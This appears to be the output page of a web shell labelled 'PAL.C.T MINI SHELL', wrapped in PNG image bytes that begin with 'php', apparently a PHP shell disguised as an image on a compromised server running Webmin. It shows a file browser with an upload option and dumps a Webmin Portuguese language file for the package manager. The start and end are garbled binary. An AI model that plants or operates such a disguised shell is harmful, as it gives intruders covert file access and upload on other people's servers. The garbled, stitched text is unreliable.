php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/pt.auto

index_all=Todos os Pacotes
index_treturn=árvore de pacotes
index_tree=Árvore do pacote
index_epackagecmd=O sistema de pacotes $1 requer o comando $2 
index_eupdatecmd=O sistema de atualização $1 requer o comando $2 
index_epackagecheck=O sistema de gerenciamento de pacotes selecionado não é válido: $1. <br>Pode ser necessário selecionar um sistema diferente na página<a href='$2'> configuração do módulo </a>.
index_eupdatecheck=O sistema de atualização selecionado não é válido: $1. <br>Pode ser necessário selecionar um método de atualização diferente na página<a href='$2'> configuração do módulo </a>.
index_echeckpackage=Nenhum sistema de pacotes foi detectado!
index_echeckupdate=Nenhum sistema de atualização foi detectado!
index_filter=Pacotes de filtro
index_filterclear=Filtro limpo
index_filtered=Exibindo <tt>$1</tt> pacotes de <tt>$2</tt>

search_return=Procurar Resultados
search_esearch=Você não inseriu nada para procurar!
search_delete=Desinstalar pacotes selecionados
search_selall=Selecionar tudo
search_invert=Seleção invertida

edit_listdesc=Mostre todos os arquivos neste pacote e seu estado de verificação atual.
edit_uninstdesc=Remova este pacote do seu sistema.
edit_egone=O pacote não está mais instalado

list_ok=Está bem
list_view=(Visão)
list_eview=Falha ao abrir $1 : $2 

delete_rusure2=Tem certeza de que deseja excluir o pacote $1 ?
delete_nodeps=Ignorar dependências?
delete_noscripts=Ignorar scripts de desinstalação?
delete_efile=Arquivo temporário inválido para excluir
delete_purge=Limpar arquivos de configuração?
delete_depstoo=Removidas dependências não utilizadas também?

install_eupdate=Nenhum pacote para instalar inserido

pkgadd_manager=System V Package Manager

rpm_notriggers=Executar scripts acionados?
rpm_ignoresize=Verificar tamanhos do sistema de arquivos?
rpm_search=Procure rpmfind.net por:
rpm_none=Nenhum pacote correspondente à sua pesquisa foi encontrado.
rpm_find=Pesquise rpmfind.net ..
rpm_findrpm=Nome do arquivo do pacote
rpm_finddistro=Distribuição
rpm_finddesc=Descrição

bsd_manager=$1 Gerenciador de Pacotes

slack_manager=Gerenciador de Pacotes Slackware
slack_edir=Diretório de pacotes do Slackware ausente $1 

debian_manager=Debian DPKG

log_install_package=Pacote instalado $1 
log_install_apt_l=Pacote (s) instalado (s) $1 do APT
log_install_apt=$2 pacotes instalados do APT
log_install_yum_l=Pacote (s) instalado (s) $1 do YUM
log_install_yum=$2 pacotes instalados do YUM
log_install_rhn_l=Pacote (s) instalado (s) $1 da Redhat Network
log_install_rhn=$2 pacotes instalados da Redhat Network
log_check_apt_l=Pacotes atualizados $1 do APT
log_check_apt=$2 pacotes atualizados do APT
log_delete=Pacote desinstalado $1 
log_deletes_l=Pacotes desinstalados $1 
log_deletes=$1 pacotes não instalados
log_urpmi_update=Pacotes URPMI disponíveis atualizados
log_urpmi_upgrade=Pacotes URPMI instalados atualizados
log_upgrade_yum_l=Pacotes atualizados $1 do YUM
log_upgrade_yum=$2 pacotes atualizados de YUM
log_check_rhn_l=Pacotes atualizados $1 da Redhat Network
log_check_rhn=$2 pacotes atualizados da Redhat Network

rhn_input=Pacote da Rede Redhat
rhn_find=Pesquisar RHN ..
rhn_install=Instalando pacotes com o comando $1 ..
rhn_ok=.. instalar completo.
rhn_failed=.. instalação falhou!
rhn_title=Selecione o pacote RHN
rhn_pack=Pacote
rhn_version=Versão
rhn_form=Opções de rede Redhat
rhn_header=Opções de atualização automática de pacotes
rhn_auto=Verificar atualizações automaticamente?
rhn_interval=Intervalo de verificação
rhn_secs=minutos
rhn_apply=Salvar e aplicar
rhn_now=Salvar e verificar agora
rhn_err=Falha ao salvar as opções do RHN
rhn_einterval=Intervalo ausente ou inválido
rhn_einterval2=O intervalo de verificação deve ser de pelo menos 120 segundos
rhn_check=Verificando atualizações
rhn_checkdesc=Verificando pacotes atualizados da Rede Redhat com o comando $1 ..
rhn_nocheck=.. nenhum pacote atualizado.
rhn_proxy=URL do servidor proxy para download
rhn_none=Desativado
rhn_eproxy=Servidor proxy ausente ou inválido
rhn_skip=Ignorar pacotes correspondentes
rhn_nonefound=Nenhum pacote disponível para atualização.
rhn_name=Rede Redhat

apt_input=Pacote do APT
apt_install=Instalando pacotes com o comando $1 ..
apt_ok=.. instalar completo.
apt_failed=.. instalação falhou!
apt_form=Atualizar todos os pacotes
apt_header=Opções de atualização do pacote APT
apt_update=Ressincronizar lista de pacotes (<tt>atualização</tt>)
apt_mode=Modo de atualização
apt_mode2=Atualização de distribuição (<tt>upgrade-dist</tt>)
apt_mode1=Atualização normal
apt_mode0=Não atualize
apt_sim=Mostrar apenas quais pacotes seriam atualizados
apt_apply=Atualize agora
apt_upgrade=Atualizar todos os pacotes
apt_updatedesc=Ressincronizando lista de pacotes com o comando $1 ..
apt_updatefailed=.. ressincronização falhou!
apt_updateok=.. ressincronização concluída.
apt_upgradedesc=Atualizando todos os pacotes com o comando $1 ..
apt_upgradedescsim=Simulando a atualização de todos os pacotes com o comando $1 ..
apt_upgradefailed=.. atualização falhou!
apt_upgradeok=.. atualização concluída.
apt_search=Encontre pacotes correspondentes :
apt_find=Pesquisar APT ..
apt_title=Pesquisar APT
apt_name=APT
apt_repo_url=URL base do repositório
apt_repo_path=Componentes do caminho de distribuição
apt_repo_eurl=URL base ausente ou com aparência inválida
apt_repo_epath=Caminho de distribuição ausente

yum_input=Pacote da YUM
yum_install=Instalando pacotes com o comando $1 ..
yum_ok=.. instalar completo.
yum_failed=.. instalação falhou!
yum_find=Navegue YUM ..
yum_package=Pacote
yum_version=Versão
yum_arch=Arquitetura
yum_source=Fonte
yum_form=Atualizar todos os pacotes
yum_apply=Atualizar todos os pacotes de instalação do YUM
yum_upgrade=Atualizar todos os pacotes
yum_upgradedesc=Atualizando todos os pacotes com o comando $1 ..
yum_upgradefailed=.. atualização falhou!
yum_upgradeok=.. atualização concluída.
yum_title=Navegue pelo YUM
yum_name=YUM
yum_enable=Ativar repositório:
yum_none=&lt;Nenhum&gt;
yum_repo_id=ID do Repositório
yum_repo_name=Descrição do Repositório
yum_repo_url=URL base do pacote
yum_repo_gpg=Arquivo de certificado GPG
yum_repo_none=Não assinado
yum_repo_eid=ID do repositório ausente ou inválido - somente letras e números são permitidos
yum_repo_eidclash=O ID do repositório já está em uso
yum_repo_ename=Nome do repositório ausente
yum_repo_eurl=URL do repositório ausente ou inválido
yum_repo_egpg=Arquivo de certificação GPG ausente ou não existe
yum_repo_efile=O arquivo do repositório já existe!

urpmi_name=URPMI
urpmi_input=Pacote de URPMI
urpmi_find=Navegue pelo URPMI ..
urpmi_form=Atualizar todos os pacotes
urpmi_update=Atualizar pacotes URPMI disponíveis
urpmi_upgrade=Atualizar pacotes URPMI instalados para as versões mais recentes
urpmi_title_update=Atualizando pacotes disponíveis
urpmi_title_upgrade=Atualizando pacotes instalados
urpmi_updatedesc=Executando o comando $1 ..
uprmi_upgradefailed=.. falhou!
urpmi_upgradeok=.. completo.
urpmi_install=Instalando pacotes com o comando $1 ..
urpmi_ok=.. instalar completo.
urpmi_failed=.. instalação falhou!

rpm_missing=Ausência de
rpm_checkfail=$1 falha na verificação
rpm_md5=MD5
rpm_fsize=tamanho do arquivo
rpm_sym=ligação simbólica
rpm_mtime=tempo de modificação
rpm_dev=dispositivo
rpm_user=propriedade do usuário
rpm_perm=permissões
rpm_group=propriedade do grupo
rpm_erpm=RPM $1 não encontrado : $2 

soft_reg=Arquivo Regular
soft_dir=Diretório
soft_spec=Arquivo Especial
soft_sym=Link simbólico
soft_hard=Hard Link
soft_edit=Arquivo editável
soft_efunc=Falha ao carregar funções para o sistema de pacotes $1.
soft_euncompress=O arquivo está compactado, mas o comando <tt>descompactar</tt> não foi encontrado no seu sistema.
soft_euncmsg=Falha ao descompactar o arquivo : $1 
soft_egzip=O arquivo foi compactado com gzip, mas o comando gzip não foi encontrado no seu sistema.
soft_egzmsg=Falha ao arquivar o arquivo gunzip : $1 

aix_unknown=Desconhecido
aix_device=Dispositivo / diretório INPUT para software
aix_software=SOFTWARE para instalar
aix_preview=PREVIEW apenas? (a operação de instalação NÃO ocorrerá)
aix_commit=COMMIT atualizações de software?
aix_save=SALVAR arquivos substituídos?
aix_auto=Instalar automaticamente o software necessário?
aix_extend=Estender os sistemas de arquivos, se houver espaço?
aix_overwrite=Substituir versões iguais ou mais recentes?
aix_verify=VERIFICAR a instalação e verificar o tamanho dos arquivos?
aix_include=Incluir conjuntos de arquivos LANGUAGE correspondentes?
aix_detail=Saída DETALHADA?
aix_process=Processar vários volumes?
aix_accept=ACEITAR novos contratos de licença?
aix_license=Visualizar novos contratos de LICENÇA?
aix_clean=Falha na instalação da limpeza?
aix_manager=Gerenciador de Pacotes AIX

emerge_input=Do repositório do Portage
emerge_find=Pesquisar ..
emerge_install=Instalando o pacote com o comando $1 ..
emerge_failed=.. instalação falhou!
emerge_ok=.. instalar completo.
emerge_search=Procure pacote:
emerge_pack=Pacote
emerge_class=Classe
emerge_version=Versão
emerge_desc=Descrição
emerge_none=Nenhum pacote corresponde à sua pesquisa.
emerge_noreplace=Substituir pacotes existentes?
emerge_onlydeps=Instalar apenas dependências?
emerge_title=Pesquisar Portage
emerge_name=Portage

cygwin_fmissing=O arquivo está ausente
cygwin_lmissing=O arquivo para o qual o link aponta está ausente
cygwin_estat=Falha no arquivo stat: $1 
cygwin_elread=Falha ao ler o link simbólico: $1 
cygwin_elstat=Falha no link simbólico do status: $1 
cygwin_badpostscript=Aviso: este script não parece ter sido executado
cygwin_pkgexists=O pacote $1 já existe.
cygwin_warnuse=Aviso: Esta não é uma interface oficial para gerenciar o software Cygwin. Use por sua conta e risco.
cygwin_edb=Banco de dados de pacotes Cygwin ausente $1 

deletes_err=Falha ao excluir pacotes
deletes_enone=Nenhum pacote selecionado
deletes_title=Excluir pacotes
deletes_desc=Desinstalando pacotes $1 ..
deletes_failed1=Falha ao desinstalar $1 : $2 
deletes_success1=$1 desinstalado com sucesso
deletes_failed2=Falha na desinstalação : $1 
deletes_success2=.. desinstalação concluída.
deletes_rusure=Tem certeza de que deseja desinstalar os pacotes $1 ?
deletes_ok=Exclua todos

csw_input=Pacote da CSW
csw_install=Instalando pacotes com o comando $1 ..
csw_ok=.. instalar completo.
csw_failed=.. instalação falhou!
csw_already=.. já instalado.
csw_retry=.. tentando novamente com novas dependências.
csw_find=Navegue pelo CSW ..
csw_package=Pacote
csw_version=Versão
csw_title=Navegue pelo CSW
csw_name=CSW
csw_form=Pacotes de atualização
csw_upgrade=Atualizar todos os pacotes instalados
csw_updatedesc=Atualizando todos os pacotes instalados com o comando $1 ..

missing_msg=O pacote $1 pode ser instalado automaticamente pelo Webmin usando $2.
missing_now=instale agora

find_title=Pesquisar pacote
find_search=Encontre pacotes correspondentes:
find_name=Nome
find_version=Versão
find_desc=Descrição
find_none=Nenhum pacote correspondente à sua pesquisa foi encontrado.

msi_users=Disponibilize o novo aplicativo para
msi_users0=Ninguém
msi_users1=Usuário atual
msi_users2=Todos os usuários
msi_missing=Não existe
msi_size=Tamanho errado

hpux_create_target_path=Criar caminho de destino?
hpux_mount_all_filesystems=Montar todos os sistemas de arquivos?
hpux_reinstall=Reinstalar?
hpux_reinstall_files=Reinstalar arquivos?
hpux_reinstall_files_use_cksum=Reinstalar arquivos usar soma de verificação?
hpux_allow_multiple_versions=Permitir várias versões?
hpux_defer_configure=Adiar a configuração?
hpux_autorecover_product=Produto de recuperação automática?
hpux_allow_downdate=Permitir downdate?
hpux_allow_incompatible=Permitir incompatível?
hpux_autoselect_dependencies=Selecionar automaticamente dependências?
hpux_enforce_dependencies=Aplicar dependências?
hpux_enforce_scripts=Aplicar scripts?
hpux_enforce_dsa=Aplicar análise de espaço em disco?
hpux_root=Diretório raiz

ports_install=Instalando as portas do FreeBSD $1 ..
ports_failed=.. algumas portas falharam
ports_ok=.. instalar completo
ports_input=Pacote de portas
ports_find=Portas de pesquisa
ports_name=Portas FreeBSD
ports_form=Banco de dados de portas de atualização
ports_apply=Download do último instantâneo
ports_upgrade=Baixando o snapshot de portas
ports_running=Executando o comando $1 ..

pkg_install=Instalando os pacotes do FreeBSD $1 ..
pkg_failed=.. alguns pacotes falharam
pkg_ok=.. instalar completo
pkg_find=Pesquisar pkgng
pkg_input=Pacote de pkgng

pkgsrc_install=Instalando os pacotes pkgsrc $1 ..
pkgsrc_failed=.. alguns pacotes falharam
pkgsrc_ok=.. instalar completo
pkgsrc_find=Pesquisar pkgng
pkgsrc_input=Pacote do pkgsrc

log_IPKG_update=Banco de dados IPKG atualizado
log_IPKG_upgrade=Pacotes IPKG instalados atualizados

IPKG_name=IPKG
IPKG_input=Pacote do IPKG
IPKG_find=Navegue pelo IPKG ..
IPKG_form=Gerenciar pacotes IPKG
IPKG_update=Atualizar banco de dados de pacotes IPKG
IPKG_upgrade=Atualizar pacotes IPKG instalados
IPKG_title_update=Atualizando o banco de dados IPKG
IPKG_title_upgrade=Atualizando pacotes instalados
IPKG_updatedesc=Executando o comando $1 ..
IPKG_upgradefailed=.. falhou!
IPKG_upgradeok=.. completo.
IPKG_install=Instalando pacotes com o comando $1 ..
IPKG_ok=.. instalar completo.
IPKG_failed=.. instalação falhou!
IPKG_index_tree=Gerenciar pacotes IPKG
IPKG_install_package=Instalar
IPKG_install_packagedesc=Instale este pacote no seu sistema
IPKG_noupgrade=Nada para atualizar
IPKG-edit_title=Gerenciar pacote IPKG
IPKG_update_avail=Atualização disponível:
IPKG_not_installed=O pacote não está instalado
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`